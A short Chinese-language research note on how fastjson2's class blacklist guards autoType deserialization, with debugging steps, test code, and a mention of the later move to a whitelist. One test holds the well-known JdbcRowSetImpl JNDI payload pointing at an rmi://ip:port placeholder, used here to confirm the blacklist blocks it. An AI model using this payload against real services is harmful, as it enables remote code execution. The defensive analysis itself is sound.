fastjson2 黑名单研究记录
下文中fastjson1和fastjson2以fj1和fj2进行简称
1)黑名单分析
首先参考: https://github.com/LeadroyaL/fastjson-blacklist
在fj1之中黑名单名为 denyHashCodes 在fj2之中也是一样,存储在 ObjectReaderProvider.java 之中
为了方便调试我们可以将fj2里 NotSupportAutoTypeErrorTest.java 中的 test2 改为以下代码
@Test
public void test2() {
Bean bean = new Bean(Arrays.asList(new Int1()));
String str = JSON.toJSONString(bean, JSONWriter.Feature.WriteClassName);
Bean bean2 = (Bean)JSON.parseObject(str, Object.class, JSONReader.Feature.SupportAutoType);
assertThrows(JSONException.class, () -> JSON.parseObject(str, Object.class, JSONReader.Feature.ErrorOnNotSupportAutoType));
}
参考: https://github.com/alibaba/fastjson2/wiki/fastjson2_autotype_cn
Bean bean2 = (Bean)JSON.parseObject(str, Object.class, JSONReader.Feature.SupportAutoType);
增加上面这一行代码进行反序列化操作
2)启动调试
在匹配白名单的地方下断点(fj2先对比白名单后对比黑名单)
然后用调试模式启动test2
成功了,我们就可以调试了
3)调试攻击代码
我们使用fj1里 \fastjson\src\test\java\com\alibaba\json\bvt\parser\autoType\AutoTypeTest2_deny.java 中的代码进行修改,放入fj2测试用例里的并使用fj2的函数进行反序列化
@Test
public void test_0() throws Exception {
Bean bean2;
String str = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://ip:port/Object\",\"autoCommit\":true}";
Exception error = null;
try {
bean2 = (Bean)JSON.parseObject(str, Object.class, JSONReader.Feature.SupportAutoType);
} catch (Exception ex) {
error = ex;
}
System.out.println(error);
}
如下图成功拦截
4)分析逻辑
其实fj2的安全风险和XXE漏洞没有本质区别,反序列化和XML中实体必须通过严谨的鉴权后才能执行,否则默认情况下原则禁止外部请求使用该操作。fj1就是违反了该设计原则导致漏洞反复出现。
5)后续发展
通过以下提交代码可以看出fj2的2.0.38到2.0.39之间,fj2去掉了黑名单,在反序列化方面彻底白名单化
https://github.com/alibaba/fastjson2/commit/f7d91ae3d003f185151feea380f9319df2610c17